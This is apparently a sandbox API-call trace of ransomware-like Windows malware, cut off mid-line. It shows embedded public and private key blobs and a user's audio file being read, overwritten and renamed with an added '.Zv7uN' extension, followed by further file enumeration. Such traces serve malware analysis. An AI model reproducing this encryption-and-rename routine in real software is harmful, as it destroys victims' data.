lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.343] GetCurrentThreadId () returned 0xa30 [0127.343] GetCurrentThreadId () returned 0xa30 [0127.343] GetCurrentThreadId () returned 0xa30 [0127.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\7avvg.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.344] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.344] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.344] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x138f5 [0127.344] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.344] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x138f5, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f3d4*=0x138f5, lpOverlapped=0x0) returned 1 [0127.347] CloseHandle (hObject=0x1e8) returned 1 [0127.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\7avvg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.353] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f3b460*, nNumberOfBytesToWrite=0x138f5, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f3b460*, lpNumberOfBytesWritten=0x18f3e0*=0x138f5, lpOverlapped=0x0) returned 1 [0127.357] CloseHandle (hObject=0x1e8) returned 1 [0127.357] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\7avvg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\7avvg.wav.zv7un")) returned 1 [0127.358] GetCurrentThreadId () returned 0xa30 [0127.358] GetCurrentThreadId () returned 0xa30 [0127.359] GetCurrentThreadId () returned 0xa30 [0127.359] GetCurrentThreadId () returned 0xa30 [0127.359] GetCurrentThreadId () returned 0xa30 [0127.359] GetCurrentThreadId () returned 0xa30 [0127.359] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751f8c40, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x7f883d00, ftLastAccessTime.dwHighDateTime=0x1d5db71, ftLastWriteTime.dwLowDateTime=0x7f883d00, ftLastWriteTime.dwHighDateTime=0x1d5db71, nFileSizeHigh=0x0, nFileSizeLow=0x157ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="d9jSeF1 JpcT7qj6px3H.m4a", cAlternateFileName="D9JSEF~1.M4A")) returned 1 [0127.359] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.359] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\d9jsef1 jpct7qj6px3h.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751f8c40, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x7f883d00, ftLastAccessTime.dwHighDateTime=0x1d5db71, ftLastWriteTime.dwLowDateTime=0x7f883d00, ftLastWriteTime.dwHighDateTime=0x1d5db71, nFileSizeHigh=0x0, nFileSizeLow=0x157ea)) returned 1 [0127.359] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\d9jsef1 jpct7qj6px3h.m4a")) returned 0x20 [0127.359] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\d9jSeF1 JpcT7qj6px3H.m4a", dwFileAttributes=0x80) returned 1 [0127.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.362] GetCurrentThreadId () returned 0xa30 [0127.363] GetCurrentThreadId () returned 0xa30 [0127.363] GetCurrentThreadId () returned 0xa30 [0127.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.365] GetCurrentThreadId () returned 0xa30 [0127.365] GetCurrentThreadId () returned 0xa30 [0127.365] GetCurrentThreadId () returned 0xa30 [0127.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 